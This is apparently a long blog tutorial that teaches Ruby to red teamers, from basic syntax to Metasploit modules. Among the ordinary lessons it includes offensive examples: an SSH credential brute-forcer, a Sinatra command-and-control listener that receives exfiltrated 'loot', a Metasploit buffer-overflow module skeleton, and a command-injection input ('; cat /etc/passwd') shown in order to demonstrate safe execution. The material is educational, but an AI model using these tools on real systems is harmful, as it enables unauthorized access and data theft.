Welcome to another exciting edition of Programming Thursdays!

Today, we delve deep into the world of the Ruby programming language. As professional hackers, red teamers, and security researchers, we know the importance of a diverse toolkit. While Python often steals the spotlight in the information security community (and for good reason), Ruby holds a special, almost sacred place in the history and tooling of our trade.

I’m excited to share my passion for Ruby with you. It is more than just the language that powers the Metasploit Framework; it is a language designed for happiness, expressiveness, and rapid development. For a red teamer, “happiness” translates to “writing a working exploit in 15 minutes instead of two hours.”

In this massive guide, we are going to break down everything from the core syntax to advanced metaprogramming, exploring how to build your own offensive security tools, interact with C APIs, and automate your infrastructure.

[!NOTE] This guide assumes you have some basic programming knowledge but starts from the ground up with Ruby specifics.


The Ruby Philosophy: Least Astonishment and Programmer Happiness

Ruby, a dynamic, reflective, object-oriented, general-purpose programming language, was created in the mid-1990s by Yukihiro “Matz” Matsumoto in Japan. It was released to the public in 1995. Matz wanted a language that was more powerful than Perl and more object-oriented than Python.

Ruby is famous for following the Principle of Least Astonishment (POLA). This design philosophy means that the language should behave in a way that minimizes confusion for experienced users. It should work exactly how you expect it to.

Why Red Teamers Should Learn Ruby

  1. Metasploit Framework (MSF): The elephant in the room. MSF is written in Ruby. If you want to write custom modules, port exploits, or understand why a module is failing, you need to read Ruby.
  2. Expressiveness: Ruby reads like English. When you are reviewing code during a live engagement or writing a quick script to parse credentials, readability reduces cognitive load.
  3. Metaprogramming: Ruby’s ability to modify itself at runtime is unparalleled. This is incredibly useful for writing protocol fuzzers or dynamic payload generators.
  4. Legacy and Ecosystem: Many classic security tools (WPScan, CeWL, Evil-WinRM, BetterCap’s original modules) are connected to the Ruby ecosystem.

Matz famously said: “I hope to see Ruby help every programmer in the world to be productive, and to enjoy programming, and to be happy. That is the primary purpose of Ruby language.”

For us, happiness is a shell that pops on the first try.


Part 1: Setting Up Your Red Team Environment

Before we write code, we need a solid environment. Do not rely on the system Ruby installed on your macOS or Linux distribution. It is often outdated and requires sudo to install gems, which is a security risk and a permission nightmare.

Version Management with rbenv

We will use rbenv to manage Ruby versions. It allows you to switch between versions per project and keeps your gems isolated.

Here is a robust setup script for a Debian-based system (like Kali Linux or Ubuntu):

#!/bin/bash
set -euo pipefail

# Update system and install dependencies
echo "[*] Installing dependencies..."
sudo apt-get update
sudo apt-get install -y git curl libssl-dev libreadline-dev zlib1g-dev \
    autoconf bison build-essential libyaml-dev libreadline-dev \
    libncurses5-dev libffi-dev libgdbm-dev

# Install rbenv
if [ ! -d "$HOME/.rbenv" ]; then
    echo "[*] Installing rbenv..."
    git clone https://github.com/rbenv/rbenv.git ~/.rbenv
    echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc
    echo 'eval "$(rbenv init -)"' >> ~/.bashrc
else
    echo "[!] rbenv already installed."
fi

# Install ruby-build plugin
if [ ! -d "$HOME/.rbenv/plugins/ruby-build" ]; then
    echo "[*] Installing ruby-build plugin..."
    git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build
else
    echo "[!] ruby-build already installed."
fi

# Reload shell configuration (for this script's scope)
export PATH="$HOME/.rbenv/bin:$PATH"
eval "$(rbenv init -)"

# Install a modern Ruby version
RUBY_VERSION="3.2.2"
echo "[*] Installing Ruby $RUBY_VERSION..."
rbenv install -s "$RUBY_VERSION"
rbenv global "$RUBY_VERSION"

echo "[+] Ruby installation complete!"
ruby -v

The REPL: IRB vs. Pry

Ruby comes with IRB (Interactive Ruby), but for serious work, you want Pry. Pry is a powerful alternative that features syntax highlighting, tab completion, and advanced debugging capabilities. It lets you “pry” into the state of your program at runtime.

To install it:

gem install pry pry-doc

When you are debugging a script, you can insert binding.pry anywhere in your code. Execution will pause there, and you will drop into a REPL with full access to the current scope. It is like a breakpoint on steroids.


Part 2: Comprehensive Language Basics

Ruby is a “pure” object-oriented language. Everything—and I mean everything—is an object. Even a simple number like 5 is an instance of the Integer class. It has methods you can call.

5.class # => Integer
5.times { print "Hack " } # => Hack Hack Hack Hack Hack

1. Variables and Scope

Ruby uses specific prefixes (sigils) to denote variable scope. This is different from languages like Python or C++, where scope is determined by declaration location.

  • Local Variables (payload): Start with a lowercase letter or underscore. Scope: current block, method, or definition.
  • Instance Variables (@target_ip): Start with @. Scope: specific object instance. Used to store state.
  • Class Variables (@@count): Start with @@. Scope: shared among all instances of a class. Warning: These are not thread-safe and can cause issues in inheritance.
  • Global Variables ($debug): Start with $. Scope: everywhere. Warning: Avoid these unless absolutely necessary.
  • Constants (PORT): Start with an uppercase letter. Scope: defined by nesting. Ruby will warn you if you try to reassign a constant, but it won’t stop you.

2. The Object Model

In Ruby, classes are also objects. When you define a class, you are executing code.

# frozen_string_literal: true

class Exploit
  # This code runs when the class is defined, not when instantiated
  puts "Loading Exploit class..."

  attr_accessor :target, :port

  def initialize(target, port)
    @target = target
    @port = port
  end

  def to_s
    "Exploit targeting #{@target}:#{@port}"
  end
end

3. Symbols vs. Strings

This is a critical concept for memory management in Ruby.

  • String: Mutable text. A new object is created every time you type "string", even if the content is identical.
  • Symbol: Immutable identifier. Starts with a colon (:symbol). The same symbol references the same object in memory throughout the program’s lifecycle.
puts "attack".object_id # => 60
puts "attack".object_id # => 80 (Different object)

puts :attack.object_id  # => 2000
puts :attack.object_id  # => 2000 (Same object)

Security Tip: Symbols are not garbage collected in older Ruby versions (pre-2.2). Creating symbols from user input (e.g., user_input.to_sym) could lead to a Denial of Service (DoS) via memory exhaustion. In modern Ruby, this is handled better, but it is still best practice to use Strings for external data and Symbols for internal keys.

4. Collections: Arrays and Hashes

Ruby’s standard library for collections is incredibly rich. You rarely need to write a for loop.

Arrays

Ordered, integer-indexed collections of any object.

ips = ["192.168.1.10", "192.168.1.11"]
ips << "192.168.1.12" # Append
ips.push("192.168.1.13")

# Set operations are native
scanned = ["192.168.1.10", "192.168.1.50"]
remaining = ips - scanned # => ["192.168.1.11", "192.168.1.12", "192.168.1.13"]

Hashes

Key-value pairs. Similar to Python dictionaries or JSON objects.

# Modern syntax (keys are symbols)
config = {
  rhost: "10.10.10.5",
  rport: 445,
  ssl: false
}

# Accessing
puts config[:rhost]

# Merging defaults
defaults = { timeout: 10, verbose: false }
user_opts = { verbose: true }
final_opts = defaults.merge(user_opts)
# => {:timeout=>10, :verbose=>true}

5. Control Structures

Ruby offers “modifier” syntax, which allows you to write concise, English-like code.

# Standard If
if is_admin
  puts "Access Granted"
end

# Modifier If
puts "Access Granted" if is_admin

# Unless (Equivalent to 'if not')
reboot_system unless server_critical?

# Case Statement (Ruby's switch on steroids)
protocol = "ssh"

case protocol
when "http", "https"
  puts "Web Service"
when "ssh", "ftp", "telnet"
  puts "Infrastructure Service"
when /smb/
  puts "Windows File Share"
else
  puts "Unknown Service"
end

The case statement uses the === operator (case equality), which allows it to match ranges, classes, and regular expressions automatically.


Part 3: Blocks, Procs, and Lambdas

This is where Ruby shines. Blocks are chunks of code that you can pass to methods. They are the foundation of Ruby’s iteration.

Blocks

A block is defined by do...end or curly braces {...}.

# Single line block
[1, 2, 3].each { |n| puts "Scanning host #{n}" }

# Multi-line block
File.open("passwords.txt", "r") do |file|
  file.each_line do |line|
    puts "Trying password: #{line.strip}"
  end
end
# The file is automatically closed after the block ends!

Procs and Lambdas

Blocks are not objects, but Procs and Lambdas are. They allow you to save a block to a variable and pass it around.

# Lambda
logger = ->(msg) { puts "[#{Time.now}] #{msg}" }

logger.call("Starting exploit...")
logger.call("Payload sent.")

# Proc
cleanup = Proc.new { puts "Cleaning up traces..." }
cleanup.call

Key Difference: A lambda checks the number of arguments (arity) and returns control to the calling method when return is used. A Proc is looser with arguments and a return inside a Proc returns from the enclosing method.


Part 4: Input/Output and System Interaction

For red team tools, we often need to read wordlists, write logs, or execute system commands.

File I/O

# Reading a file safely
if File.exist?("wordlist.txt")
  File.foreach("wordlist.txt") do |word|
    # Process word
  end
end

# Writing to a file (append mode)
File.open("loot.txt", "a") do |f|
  f.puts "Found creds: admin:password123"
end

System Commands with Open3

Avoid using backticks (`ls`) or system() if you are handling user input, as they are prone to command injection. Use the Open3 standard library module.

require 'open3'

target_ip = "127.0.0.1; cat /etc/passwd" # Malicious input

# Safe execution - arguments are passed as array elements, avoiding shell expansion
stdout, stderr, status = Open3.capture3("ping", "-c", "1", target_ip)

if status.success?
  puts stdout
else
  puts "Error: #{stderr}"
end

Part 5: Networking with Ruby

Ruby’s standard library includes socket for low-level networking and net/http for web interactions.

Building a Simple Port Scanner

Let’s write a simple, non-threaded port scanner to demonstrate socket handling.

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'socket'
require 'timeout'

def scan_port(ip, port)
  socket = Socket.new(:INET, :STREAM)
  sockaddr = Socket.sockaddr_in(port, ip)

  begin
    # Set a timeout for the connection
    Timeout.timeout(1) do
      socket.connect_nonblock(sockaddr)
    rescue IO::WaitWritable
      socket.wait_writable
      socket.connect_nonblock(sockaddr)
    end
    puts "[+] Port #{port} is OPEN on #{ip}"
  rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Timeout::Error
    # Port is closed or filtered
  ensure
    socket.close if socket
  end
end

target = "127.0.0.1"
ports = [21, 22, 80, 443, 8080]

puts "[*] Starting scan on #{target}..."
ports.each { |p| scan_port(target, p) }

Web Requests with Net::HTTP

require 'net/http'
require 'uri'

uri = URI('http://example.com/api/login')
res = Net::HTTP.post_form(uri, 'user' => 'admin', 'pass' => 'admin')

puts res.code       # => '200'
puts res.message    # => 'OK'
puts res.body       # => Body content

For more complex HTTP interactions (cookies, sessions), I highly recommend the httparty or faraday gems.


Part 6: Creating C2 Infrastructure with Sinatra

One of my favorite uses for Ruby in Red Teaming is spinning up rapid C2 listeners (Command and Control) or situational awareness servers using Sinatra. Sinatra is a DSL for quickly creating web applications.

A Minimalist C2 Listener

# listener.rb
require 'sinatra'
require 'base64'

set :bind, '0.0.0.0'
set :port, 8080

# Logging setup
configure do
  file = File.new("c2_log.txt", 'a+')
  file.sync = true
  use Rack::CommonLogger, file
end

# Check in endpoint - Agent sends GET /checkin
get '/checkin' do
  # Return a command to the agent
  "whoami"
end

# Data exfiltration endpoint - Agent POSTs data
post '/submit' do
  data = request.body.read
  decoded = Base64.decode64(data) rescue data
  
  File.open("loot/#{Time.now.to_i}.txt", 'w') do |f|
    f.write(decoded)
  end
  
  "OK"
end

Run it with ruby listener.rb and you have a web server ready to accept persistent connections.


Part 7: Advanced Red Teaming Applications

1. The Ronin Platform

While Metasploit is for exploitation, Ronin is for development and research. It’s a Ruby platform that provides a massive library of utility classes for security research.

require 'ronin/support'

# Ronin makes hex encoding/decoding trivial
payload = "admin".to_hex
puts payload # => "61646d696e"

# IP Address manipulation
ip = Ronin::Support::Network::IP.new('192.168.1.1')
ip.to_i # => 3232235777

# Text Analysis for wordlist generation
text = "The quick brown fox"
Ronin::Support::Text::Patterns::EMAIL_ADDR.match(text)

2. Packet Manipulation with PacketGen

PacketGen is a powerful Ruby gem for crafting, parsing, and capturing network packets. It is our equivalent to Python’s Scapy.

[!WARNING] Sending raw packets often requires root/administrator privileges. Ensure you have authorization before testing on any network.

# Gemfile: gem 'packetgen'
require 'packetgen'

# Create a TCP SYN packet
pkt = PacketGen.gen('IP', src: '10.0.0.5', dst: '10.0.0.1')
               .add('TCP', dport: 80, sport: 4567, flag_syn: true)

# Recalculate checksums and length automatically
pkt.calc

# Send it out on the wire
pkt.to_w('eth0')

# Reading a PCAP file
PacketGen.read('capture.pcap').each do |packet|
  if packet.ip.protocol == 6 # TCP
    puts "TCP Packet from #{packet.ip.src} to #{packet.ip.dst}"
  end
end

3. SSH Bruteforcing and Automation with net-ssh

The net-ssh gem is the standard for SSH interaction. It is pure Ruby and does not wrap the system ssh binary.

require 'net/ssh'

hosts = ['192.168.1.10', '192.168.1.11']
creds = { 'root' => 'toor', 'admin' => 'admin123' }

hosts.each do |host|
  creds.each do |user, pass|
    begin
      Net::SSH.start(host, user, password: pass, timeout: 5) do |ssh|
        puts "[+] SUCCESS: #{host} - #{user}:#{pass}"
        output = ssh.exec!("id")
        puts "    #{output}"
      end
    rescue Net::SSH::AuthenticationFailed
      # Failed auth
    rescue StandardError => e
      # Connection error
    end
  end
end

4. Windows API Interaction with FFI

Ruby’s FFI (Foreign Function Interface) allows you to call functions in dynamic libraries (DLLs on Windows, .so on Linux). This is incredibly powerful for malware development, as it lets you interact directly with the OS API without writing C.

require 'ffi'

module User32
  extend FFI::Library
  ffi_lib 'user32'

  # Define the function signature
  # int MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
  attach_function :MessageBoxA, [:pointer, :string, :string, :uint], :int
end

# Call the Windows API
# 0x00000030 = MB_ICONWARNING | MB_OK
User32.MessageBoxA(nil, "You have been pwned!", "Security Alert", 0x00000030)

Part 8: Metaprogramming - The “Magic”

Metaprogramming is code that writes code. In Ruby, classes are open; you can add methods to existing classes (even core classes like String) at runtime. This is called “Monkey Patching”.

The method_missing Hook

When you call a method that doesn’t exist, Ruby invokes method_missing. You can override this to handle dynamic calls. This is how many ORMs and API wrappers work.

class ProtocolFuzzer
  def initialize(target)
    @target = target
  end

  def method_missing(method_name, *args)
    # Convert method name to a payload string
    payload = method_name.to_s.upcase
    puts "Sending payload: #{payload} to #{@target} with args: #{args}"
    # send_packet(payload, args)
  end
end

fuzzer = ProtocolFuzzer.new("192.168.1.5")
fuzzer.admin_login("user", "pass")
# => Sending payload: ADMIN_LOGIN to 192.168.1.5 with args: ["user", "pass"]

This allows you to write clean DSLs (Domain Specific Languages) for your tools.


Part 9: Building a Metasploit Module

Knowing Ruby allows you to extend the Metasploit Framework. A module is simply a Ruby class that inherits from the MSF API.

Here is the skeleton of a remote exploit module:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  # Include mixins for common functionality
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Example Ruby Exploit',
      'Description'    => %q{
        This module exploits a buffer overflow in the ACME service.
      },
      'Author'         => [ 'UncleSp1d3r' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2023-XXXX' ]
      ],
      'Payload'        => {
        'Space'    => 1000,
        'BadChars' => "\x00\x0a",
      },
      'Platform'       => 'linux',
      'Targets'        => [
        [ 'ACME Service v1.0', { 'Ret' => 0xdeadbeef } ],
      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 09 2023'
    ))

    # Register options users can configure (RHOST/RPORT handled by TCP mixin)
    register_options([
      OptString.new('USER', [ true, 'The username to authenticate as', 'admin' ]),
    ])
  end

  def check
    # Check if target is vulnerable without exploiting
    connect
    banner = sock.get_once
    disconnect

    if banner =~ /ACME v1\.0/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Generating payload...")
    buf = "USER " + datastore['USER'] + "\n"
    buf << "PASS " + make_nops(16) + payload.encoded + [target['Ret']].pack('V')

    print_status("Sending #{buf.length} bytes...")
    sock.put(buf)

    handler # Transfer control to payload handler (e.g., reverse_tcp)
    disconnect
  end
end

Notice how the datastore hash holds user configuration, and mixins like Msf::Exploit::Remote::Tcp handle all the socket complexity for you.


Part 10: Concurrency and Performance

One of the criticisms of Ruby is the Global Interpreter Lock (GIL) (or GVL in MRI), which prevents parallel execution of Ruby code on multiple CPU cores within a single process. However, for network-bound tasks (which 90% of security tools are), Ruby threads are excellent.

Threading

When a Ruby thread waits for I/O (like a network response), it releases the GIL, allowing other threads to run.

threads = []
targets = ["10.0.0.1", "10.0.0.2", "10.0.0.3"]

targets.each do |ip|
  threads << Thread.new do
    # This block runs in a thread
    puts "Scanning #{ip}..."
    sleep(rand(1..3)) # Simulate network delay
    puts "Finished #{ip}"
  end
end

# Wait for all threads to complete
threads.each(&:join)
puts "All scans complete."

Ruby 3.0: Ractors

Ruby 3 introduced Ractors (Ruby Actors), which provide true parallel execution without thread-safety issues, as they do not share state by default. This is the future of high-performance Ruby tooling.


Part 11: Language Comparison

Ruby vs. Python

  • Ruby Pros:
    • Blocks/Procs: Superior for functional programming patterns and iteration.
    • Metaprogramming: Deep reflection capabilities make building frameworks (like MSF) easier.
    • Syntax: Often more concise and expressive.
    • Package Management: Bundler is generally considered more robust and consistent than pip/virtualenv/poetry battles.
  • Python Pros:
    • Libraries: Python has a massive ecosystem for data science, ML, and generic security libraries (Impacket, Scapy).
    • Adoption: It is the industry standard; you will find it everywhere.

Ruby vs. Go

  • Ruby Pros: Development speed, flexibility, dynamic typing.
  • Go Pros: Raw performance, static binary distribution (no dependencies on target), true concurrency.

Part 12: Best Practices for Ruby Security Tooling

  1. Use frozen_string_literal: true: Put this comment at the top of your files. It prevents the creation of duplicate string objects, saving memory and improving performance.
  2. Input Validation: Ruby is dynamic. Always validate types and content. Use Regexp to whitelist input.
  3. Error Handling: Use begin...rescue...ensure blocks. Never let your tool crash with a stack trace in the middle of an operation. Catch StandardError at the top level.
  4. Dependencies: Use a Gemfile to track your dependencies. Don’t require users to manually gem install ten different things.
  5. Linting: Use RuboCop to enforce style and find potential bugs.

Conclusion

Ruby is an elegant, powerful language that rewards creativity. Its ability to handle complex object-oriented logic while remaining as readable as a book makes it a unique asset for any red teamer. Whether you are building a custom C2 framework, automating a complex exploit chain, or just writing a quick script to parse logs, Ruby has your back.

For those looking to master the Metasploit Framework, Ruby is not optional—it is essential. But even outside of MSF, Ruby’s philosophy of “programmer happiness” makes it a joy to use for daily scripting tasks.

Happy coding, and happy hacking!


References and Resources

Official Documentation

Security-Focused Gems & Tools

  • PacketGen - Network packet generation and parsing.
  • Ronin - A Ruby platform for exploit development and security research.
  • Metasploit Framework - The gold standard.
  • Sinatra - Minimalist web framework.
  • Pry - A runtime developer console and IRB alternative.

Educational Resources